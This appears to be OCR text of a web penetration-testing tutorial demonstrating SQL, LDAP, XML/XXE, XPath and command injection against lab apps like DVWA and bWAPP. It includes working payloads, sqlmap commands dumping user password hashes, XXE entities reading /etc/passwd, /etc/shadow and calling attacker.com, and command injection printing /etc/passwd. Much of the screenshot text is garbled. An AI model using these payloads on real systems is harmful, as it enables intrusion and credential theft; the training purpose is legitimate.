System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() +90 System.Data.SqlClient.SqlDataReader.get_MetaData() +99 System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInterna. System.Data.SqlClient.SqlCommand.RunExecuteReader(SqlDataKeader da, KunBehavior, RunBehavior, String TesetOptionString), Borlean isinterna. System.Data.SqlClient.SqlCommand.RunExecuteReader(SqlDataKeader da, KunBehavior, RunBehavior, Boolean returnStream, Boolean asy System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)

System.Data.Common.DbDat Firefox .FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, System.Data.Common.DbDat Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBeha

Request Raw Params Headers Hex ViewState			Response Raw Headers Hex HTML	Render ViewState	
POST request to /bookdetail.aspx					
POST request to /bookdetail.aspx Type Name URL id Cookiefduid Cookieauc Cookielawkuuid Cookietawkuuid Cookiefip Cookiegid BodyEVENTARCIMENT BodyEVENTARCUMENT BodyVIEWSTATE BodyVIEWSTATE BodyVIEWSTATEC BodyUIOSTATECENERATOR BodyUIOSTATECENERATOR BodyUIOSTATECENERATOR BodyUIOStatSearchDOMXSS & BodyCIOOStxtSearchDOMXSS & BodyCIOOStxtSearchDOMXSS & BodyCIOOStstareADDMXSS & BodyCIOOStstareADDMXSS & BodyCIOOStstareADDMXSS & BodyCIOOStstNewsEmail	Value 1' order by 3 dc6029645593793349b3b819dae03f6e CA1.2.781573113.1569454291 4e20d75b1655988ea135b1a1af e::infosecaddicts.com:AptKxpFF6CWh88 b53835b-652-c4a04-864_07527bbc32f fb.1.156495513880.417041806 GA1.2.2123647954.1565405500 /wEPDwUJMzUzOTgwMzQ0D2QWAmYPZB 6DCAC49F Publication 16 8	Add Remove Up Down	Books Forever	<text><image/><image/><text><text><section-header><section-header><section-header><text></text></section-header></section-header></section-header></text></text></text>	
Rody encoding: application/x-www-form-urlencor	led			Publication:	

1' order by 3#

Server Error in '/' Application.

Unclosed quotation mark after the character string ' order by 3'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ' order by 3'.

Source Error:

Line 191:	SqlDataAdapter myAd = new SqlDataAdapter("SELECT * FROM BOOKMASTER WHERE BOOKID=" + bookid, mycon);
Line 192:	DataSet dsResult = new DataSet();
Line 193:	<pre>myAd.Fill(dsResult);</pre>
Line 194:	return dsResult;
Line 195: }	

Source File: c:\inetpub\wwwroot\App_Code\BookService.cs Line: 193

Stack Trace:

[SqlException (0x80131904): Unclosed guotation mark after the character string ' order by 3'.]

System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) +3306108 System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bull System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() +90

System.Data.SqlClient.SqlDataReader.get_MetaData() +99

System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean asyn System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior, Boolean returnStream, String method) System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +301

System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehaver.



Boolean-based SQLi

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. We will use the following pseudo-functions:

SUBSTRING (text, start, length) : returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char) : it gives back ASCII value of the input character. A null value is returned if

char is 0. LENGTH (text) : it gives back the number of characters in the input text.

Time-based SQLi

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=\$id_product

Consider also the request to a script who executes the query

above: http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10),

'false'))--

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.




root@kali:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpoqvknp2krbjn4vu4; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -D dvwa --tables





root@kali:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpoqvknp2krbjn4vu4; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -T users --column

{1.0-dev-nongit-20180313}	
http://sqlmap.org	

[10:32:44] []] Database: dvwa Table: users	NFO] fetching c a	olumns for table 'user shellasp malicious.exe	s' in database simple/35.	'dvwa' PY
[6 columns] +				
Column	Type			
user avatar first_name last_name password	varchar(15) varchar(70) varchar(15) varchar(15) varchar(32)			5
user_id +	int(6)			

root@kali:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=1&Su
bmit=Submit" --cookie="security=low; dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advanceds
tuff=0-,1-,2-; security_level=0; remember_token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=gtavc
d6hjpoqvknp2krbjn4vu4; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=
nada; JSESSIONID=35ABD887923A100D6511E015022983BE" -C user,password --dump



[10:34:21] Database: Table: use [6 entries	[INFO] postproce dvwa rs]	ssing table dump		aingle/55.ev	TCPnUDP.By
+ user	+ password		+ =x = 		
1337 admin gordonb pablo smithy user	8d3533d75ae2c39 21232f297a57a5a e99a18c428cb38d 0d107d09f5bbe40 5f4dcc3b5aa765d ee11cbb19052e40	66d7e0d4fcc69216b (743894a0e4a801fc3 (5f260853678922e03 (cade3de5c71e9e9b7 (61d8327deb882cf99 (b07aac0ca060c23ee (charley) admin) abc123) letmein) password) user)		
[10:34:21] 22.136/dum [10:34:21] dvwa'	[INF0] table 'dv p/dvwa/users.csv' [INF0] fetching	wa.users' dumped to columns 'user, pass	CSV file ' word' for t	/root/.sqlm able guest	ap/output/192.168.2 book' in database '

6. Testing for LDAP Injection

The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects. LDAP injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. This is done by manipulating input parameters afterwards passed to internal search, add, and modify functions.

A web application could use LDAP in order to let users authenticate or search other users' information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

Boolean conditions and group aggregations on an LDAP search filter could be applied by using th

e following metacharacters.

Metachar	Meaning
&	Boolean AND
	Boolean OR
!	Boolean NOT
=	Equals
~=	Approx
>=	Greater than
<=	Less than
*	Any character
0	Grouping parenthesis

A successful exploitation of an LDAP injection vulnerability could allow the tester to:

- Access unauthorized content
- Evade application restrictions
- Gather unauthorized information
- Add or modify Objects inside LDAP tree structure

How to test

Example test: Login

	C' û	192.168.222.156/Idap/example2.php?name=hacker&password=hacker
	PentesterLab.co	om Home
	AUTHENTICATED as I © PentesterLab 2013	hacker
∢→	C û	i 192.168.222.156/ldap/example2.php?name= <mark>*)(objectClass=*</mark> &password=hacker
	PentesterLab.c	om Home
	AUTHENTICATED as © PentesterLab 2013	hacker
	ල බ	192.168.222.156/Idap/example2.php?name=*)((objectClass=*)&password=hacker
	PentesterLab.	com Home
	UNAUTHENTICATEI © PentesterLab 201	3

Two inverse query resulted in different

response. Retest with Vulnerabilities

Scanner

Issues					
 LDAP injection i Input returned in response (reflected) [4] i Cross-domain Referer leakage [2] i Browser cross-site scripting filter disabled [2] i Email addresses disclosed [2] i Frameable response (potential Clickjacking) [2] 					
Advisory Request 1 Response 1 Request 2 Response 2					
LDAP injection Compare responses					
Issue: LDAP injection					
Severity: High Confidence: Firm					
Host: http://192.168.222.156					
Path: //dap/example2.php	\mathbf{P}				
Issue detail The name parameter appears to be vulnerable to LDAP injection attacks.					
The payloads *)(objectClass=* and *)(!(objectClass=*) were each submitted in the name parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.					

7. Testing for XML Injection

XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.

How to Test

Discovery : the first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:

- Single Quote: ' when not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
- Double Quote: "- this character has same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.
- Angular parentheses: > and <

PentesterL	Lab.com Home		
Hello Warning: /var/www/xml/ex © PentesterLat	: simplexml_load_string(): Entity: line 1: parser error : StartTag: invalid element name in /var/www/x xample1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ub 2013	ml/example1.php on line 4 Warning: simplexml_load_s	ring(): hacker<
Comment	tag: this sequence of characters is interpreted as t</td <td>he beginning/end of a commen</td> <td>t.</td>	he beginning/end of a commen	t.
" @	(i) 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--></test>	···· 🔮 😭 🔍 Search	
entesterL	(i) 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--></test>	V 😰	
PentesterL	192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--> Lab.com Home simplexml_load_string(): Entity: line 1: parser error : Comment not terminated in /var/www/xml</test>	nl/example1.php on line 4 Warning: simplexml_load	_string(): hack
PentesterL Hello Warning:	(i) 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--> Lab.com Home : simplexml_load_string(): Entity: line 1: parser error : Comment not terminated in /var/www/xr d: & - the ampersand is used in the XML syntax to</test>	ml/example1.php on line 4 Warning: simplexml_load represent entities. The format	_string(): hack
PentesterL Hello Warning: Ampersand n entity is	(i) 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--> Lab.com Home : simplexml_load_string(): Entity: line 1: parser error : Comment not terminated in /var/www/xr d: & - the ampersand is used in the XML syntax to s '&symbol'.</test>	nl/example1.php on line 4 Warning: simplexml_load represent entities. The format	_string(): hack
中 PentesterL Hello Warning: Ampersand n entity is ご 命	(i) 192.168.222.156/xml/example1.php?xml= <test>hacker<!--</test--> Lab.com Home : simplexml_load_string(): Entity: line 1: parser error : Comment not terminated in /var/www/xr d: & - the ampersand is used in the XML syntax to s '&symbol'. (i) 192.168.222.156/xml/example1.php?xml=<test>&hacker</test></test>	nl/example1.php on line 4 Warning: simplexml_load represent entities. The format	_string(): hack

- © PentesterLab 2013
- CDATA section delimiters: <![CDATA[/]]> CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

During the processing, the CDATA section delimiters are eliminated, generating the xss code.

External Entity

•

The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote system.

To test for XXE vulnerabilities, on can use the following input:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute

e entity with the contents of the /dev/random file.

Other useful tests are the following:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
```

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

1621 http://192.168.222.156 GET /xml/example1.php?xm	al=%3CIDOCTYPE ✓	200 2	719 HT	ML php	PentesterLab &rac	quo; W	192.168.222.156	7.
Request Response			_					
Raw Params Headers Hex								
GET request to /xml/example1.php								
Туре	Name				Value			
URL	xml				<doctype [<!e<="" foo="" td=""><td>NTITY xxe SYSTEM "file:///etc/p</td><td>asswd">]><test>hacker &xxe</test></td><td>_</td></doctype>	NTITY xxe SYSTEM "file:///etc/p	asswd">]> <test>hacker &xxe</test>	_
1621 http://192.168.222.156 GET /xml/example1.php?s	mi=%3CIDOCTYPE ✓	200	2719	HTML ph	PentesterLab	» W	192.168.222.156	
1624 https://shavar.services.mozilla.c POST /downloads?client=n	avclient-auto-ffox 🗸	200	205	text			√ 50.112.201.212	_
Request Response								
Raw Headers Hex HTML Render								

PentesterLab.com

• Home

Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce
 Induce

© PentesterLab 2013

8. Testing for XPath Injection

XPath is a language that has been designed and developed primarily to address parts of an XML document. XML databases that organize data using the XML language. XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as SQL injection attacks.

How to Test

• Refer: SQL injection Authentication Bypass



Filter: Hiding CSS, image and general binary content												
Host	Method	URL	Para 🔻	Edited	Status	Length	MIME type	Extension	Title	Comment	SSL	IP
https://aspootnetapp.intosecaddicts.com	POST	/BasicSearch.aspx?word=	~		302	697	HIML	aspx	Object moved		~	Т
https://aspdotnetapp.infosecaddicts.com	GET	/BasicSearch.aspx?Word=hellp!!!	~		200	16778	script	aspx	Basic Search Page		~	1
https://aspdotnetapp.infosecaddicts.com	POST	/BasicSearch.aspx?Word=	\checkmark		302	697	HTML	aspx	Object moved		~	1
https://aspdotnetapp.infosecaddicts.com	POST	/BasicSearch.aspx?Word=	~	\checkmark	500	5003	HTML	aspx	A potentially dangero		~	1
https://aspdotnetapp.infosecaddicts.com	GET	/BasicSearch.aspx?Word=	~		200	16470	HTML	aspx	Basic Search Page		\checkmark	1
https://aspdotnetapp.infosecaddicts.com	POST	/BasicSearch.aspx?Word=	~		200	16525	HTML	aspx	Basic Search Page		~	1
https://aspdotnetapp.infosecaddicts.com	POST	/bookdetail.aspx?id=1	\checkmark		200	12968	HTML	aspx	Book Detail Page		\checkmark	1
https://aspdotnetapp.infosecaddicts.com	POST	/login.aspx	\checkmark		200	13483	HTML	aspx	Login page		~	1
https://aspdotnetapp.infosecaddicts.com	POST	/login.aspx	~		200	13483	HTML	aspx	Login page		~	1
https://phpapp.infosecaddicts.com	GET	/cdn-cgi/apps/head/ckgy0PiWGjg			304	711	script	js			\checkmark	1
https://phpapp.infosecaddicts.com	GET	/cdn-cgi/scripts/5c5dd728/cloud			304	520	script	js			\checkmark	1
https://ajax.cloudflare.com	GET	/cdn-cgi/scripts/95c75768/cloud			304	514	script	js			~	1
https://phpapp.infosecaddicts.com	GET	/cdn-cgi/apps/body/nWFfBVgKuw			304	699	script	js			~	1
https://www.google-analytics.com	GET	/analytics.js			304	184	script	js			\checkmark	1
Request Response				_								
Raw Params Headers Hex ViewState												
POST request to /login.aspx												
Туре		Name					Value					
Body		EVENTTARGET										
Body		EVENTARGUMENT										
Body		VIEWSTATE					/wEPDwULLTE	XNDMwMzAv	vOTIPZBYCZg9kFgICAw9k	FgYCBw8PFgleB12	Zpc2libGVc	ZG
Body		VIEWSTATEGENERATOR					C2EE9ABB					
Body		ctl00\$txtSearch										
Body		ctI00\$txtSearchDOMXSS										
Body		ctI00\$ddIAdvSearch					Title					
Body		ctl00\$txtNewsEmail										
Body		ctl00\$ContentPlaceHolder1\$txtUser					†or 1=1 c	r†=â€				
Body		ctl00\$ContentPlaceHolder1\$txtPass					123					_
Body		ctl00\$ContentPlaceHolder1\$ibLogin.	х				7					
Body		ctl00\$ContentPlaceHolder1\$ibLogin.	y				6					

9. Testing for Code Injection

In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

How to Test

- Using the query string, the tester can inject code to be processed as part of the included file
- Determine user input in execution function, try to enter commands into the Data input field





10. Testing for Command Injection

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to exploit.

How to Test

- List all input of web interface
- Using special character below

Special Characters for Comand Injection

The following special character can be used for command injection such as | ; & \$ > < ` \ !

- cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
- cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
- cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
- cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
- \$(cmd) : For example, echo \$(whoami) or \$(touch test.sh; echo 'ls' > test.sh)
- · 'cmd' : It's used to execute specific command. For example, 'whoami'
- >(cmd): <(ls)</p>
- (cmd): >(ls)



994 https://192.168.222.136 POST /bWAPP/comr	andi.php 🗸	/	200	12908	HTML	php bWAPP - OS Command I	,
Request Response				_			
Raw Params Headers Hex							
POST request to /bWAPP/commandi.php							
Туре	Name					Value	
Cookie	dbx-postmeta					grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1	-,2-
Cookie	security_level					0	
Cookie	remember_token					Stu37BrvdLCcPfSwaD7x4g	
Cookie	PHPSESSID					gtavcd6hjpoqvknp2krbjn4vu4	
Cookie	acopendivids					swingset,jotto,phpbb2,redmine	
Cookie	acgroupswithpersist					nada	
Cookie	JSESSIONID					35ABD887923A100D6511E015022983BE	
Body	target					www.nsa.gov cat /etc/passwd	
Body	form					submit	
994 https://192.168.222.136 POST /bWAPP/commandi.php	√ 200	12908	HTML P	hp	bWAPP - OS Con	mand I 🗸 192.168.222.1	36
Request Response							
Raw Headers Hex HTML Render							

DNS lookup: www.nsa.gov Lookup

root x 0 0 root /root /bin/bash daemon x 1:1 daemon/usr/sbin/bin/sh bin x 2:2 bin/bin/bin/sh sys x 3 3 sys/dev/bin/sh sync x 4.65534 sync/bin/bin/sync games x 5.60 games/usr/games/bin/sh man x 6:12 man/var/cache/man/bin/sh lp x 7:12 p/var/spool/puc/bin/sh mat x 8:3 mail/var/mail/bin/sh messx 9:9 mess/var/spool/nucp/tar/spool/uncp/tar/spool/uncp/bin/sh proxy x 13:13 proxy/bin/bin/sh wrww-data/x3:33 wrww-data/var/wrw/bin/sh backup x 34:34 backup/var/backups/bin/sh bit x 2:33:38 Mailing List Manager/var/list/bin/sh in c x 39:39 ircd/var/un/rcd/bin/sh gats x 41:41 Gats Bug-Reporting System (admin)/var/bib/gats/bin/sh backup x 34:34 backup/var/backups/bin/sh bit kud x 100:101./var/hib/bin/sh systex x 39:39 ircd/var/un/rcd/bin/sh gats x 41:41 Gats Bug-Reporting System (admin)/var/bib/gats/bin/sh backup x 55:34:65:54 nobody/nonexstemt/bin/sh lbuud x 100:101./var/hib/binds/buud/buu/sh systeg x 101:102./home/systeg/20:102.103.home/stog/bin/false kdgz x 102:103.home/stog/bin/false kdgz x 102:103.home/stog/bin/false kdgz x 103:105.http://war/bu/bast at 105:534./var/run/shd/unt/shi/bin/sh gats x 41:10:10:10.http://war/bin/bin/sh exdgz x 101:102.http://war/bin/bast edgz x 103:105.http://war/bu/bast edgz x 105:10:10:1/war/hast at 105:534./var/run/shd/unr/shi/bin/sh gats x 10:10:10.http://war/bu/bast edgz x 100:10:10.http://war/bu/bast landscape x 104:122./war/ba/bandscaper/bin/false sast x 105:6554./var/run/shd/unr/shd/bin/sh gats ext x 100:000 user___.http://war/bub/sh abult/buer x 109:118:Pics/Kit.,./var/hu/Pals/bin/shls eaddemonx 110:119:Hardware abstraction layer_.../var/hu/blast pulsex 111:120:PulseAudio daemon.,./var/run/pulse/bin/false postfixx/bin/false

bWAPP is for educational purposes only / Follow @MME IT on Twitter and ask for our cheat sheet, containing all solutions! / Need a training? / @ 2014 MME BVBA

Testing for Error Handling

1. Analysis of Error Codes

These codes are very useful to penetration testers during their activities because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.

How to Test

• Test 404 Not Found:

```
root@ilak:~# telnet testphp.vulnweb.com 80
Trying 176.28.50.165...
Connected to testphp.vulnweb.com.
Escape character is '^]'.
GET /abc 80
<CRLF><CRLF>
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center><h1>404 Not Found</h1></center>
</body>
</html>
```

Connection closed by foreign host.

• Test 400 Bad Request:

```
Trying 192.168.222.136...
Connected to 192.168.222.136.
Escape character is '^]'.
GET / HTTP 1.1
<CHTTP/1.1 400 Bad Request
Date: Wed, 07 Mar 2018 09:08:01 GMT
Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin
-Patch proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9
.8k Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
Your browser sent a request that this server could not understand.<br />
</body></html>
Connection closed by foreign host.
root@kali:~#
```

• Test 405 Method not Allowed

<pre>root@kali:~# telnet testphp.vulnweb.com Trying 176.28.50.165 Connected to testphp.vulnweb.com. Escape character is '^]'. PUT /index.html HTTP/1.1 Host: 176.28.50.165 <crlf><crlf></crlf></crlf></pre>	80
HTTP/1.1 405 Not Allowed Server: nginx/1.4.1 Date: Wed, 07 Mar 2018 09:32:55 GMT Content-Type: text/html Content-Length: 172 Connection: keep-alive	
<html> <head><title>405 Not Allowed</title><body bgcolor="white"> <center><h1>405 Not Allowed</h1><hr/><center>nginx/1.4.1</center> </center></body> </head></html>	ead> ~>

Test 408 Request Time out •

Go Cancel < v > v	
Request	Response
Raw Headers Hex PUT /index.html HTTP/1.1	Raw Headers Hex HTML Render HTTP/1.1 408 Request Time-out
Host: 192.160.222.156 <crlf><crlf></crlf></crlf>	Date: Tue, 06 Har 2018 18:26:40 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Length: 298 Connection: close Content-Type: text/html; charset=iso-8859-1
	<pre> <html><head> <title>408 Request Time-out</title> </head><hody> <hl>> Server timeout</hl> </hody></html></pre> <pre></pre> <pre> <pre></pre></pre>
Test 501 Method Not Implemented	

•

```
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
```

- Test enumeration of the directories with access denied ٠
 - http://<host>/<dir> 0
 - Result: dir listing, not allow to be listed, forbidden or don't have permission to access.

Index of /pictures/

<u>/</u>		
<u>1.jpg</u>	11-May-2011 10:27	12426
1.jpg.tn	11-May-2011 10:27	4355
2.jpg	11-May-2011 10:27	3324
2.jpg.tn	11-May-2011 10:27	1353
3.jpg	11-May-2011 10:27	9692
3.jpg.tn	11-May-2011 10:27	3725
4.jpg	11-May-2011 10:27	13969
4.jpg.tn	11-May-2011 10:27	4615

2. Analysis of Stack Traces

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. This information could then be used in further attacks.

How to Test

Some tests to try include:

- Invalid input (such as input that is not consistent with application logic)
- Input that contains non alphanumeric characters or query syntax
- Empty inputs
- Input that are too long
- Access to internal pages without authentication
- Bypassing application flow

1892	http://192.168.222.136	POST	/mutillidae/index.php?page=login.php	1	200	69047	HTML	php			192.168.222.136	
1												7.6
Req	Response											
Raw	Params Headers He	EX										
POST	mutillidae/index.php	p?page=login.	php HTTP/1.1									
Host:	192.168.222.136											
User-	gent: Mozilla/5.0 (W	Windows NT 10	0.0; Win64; x64; rv:58.0) Gecko/	20100101 F	irefox/58.0							
Accep	: text/html, applicat	cion/xhtml+xm	nl, application/xml;q=0.9,*/*;q=0	8								
Accep	-Language: en-GB,en;	;q=0.5										
Accep	-Encoding: gzip, de:	flate										
Refer	r: http://192.168.23	22.136/mutil]	idae/index.php?page=login.php									
Conte:	t-Type: application,	/x-www-form-u	urlencoded									
Conte:	t-Length: 102											
Cooki	: showhints=2; dbx-p	postnet a=gr al:	it=0-,1-,2-,3-,4-,5-,6-&advance	lstuff=0-,	1-,2-; securit	y_level	=0; reme	mber_token=	Stu37BrvdLCcPfSwaD7x4g.	; PHPSESSID=d2	5695polog2bj38rkm351rgb0;	
Serve	=b3dhc3Bid2E=; acope	endivids=swir	ngset,jotto,phphb2,redmine; acgr	oupswithpe	rsist=nada;							
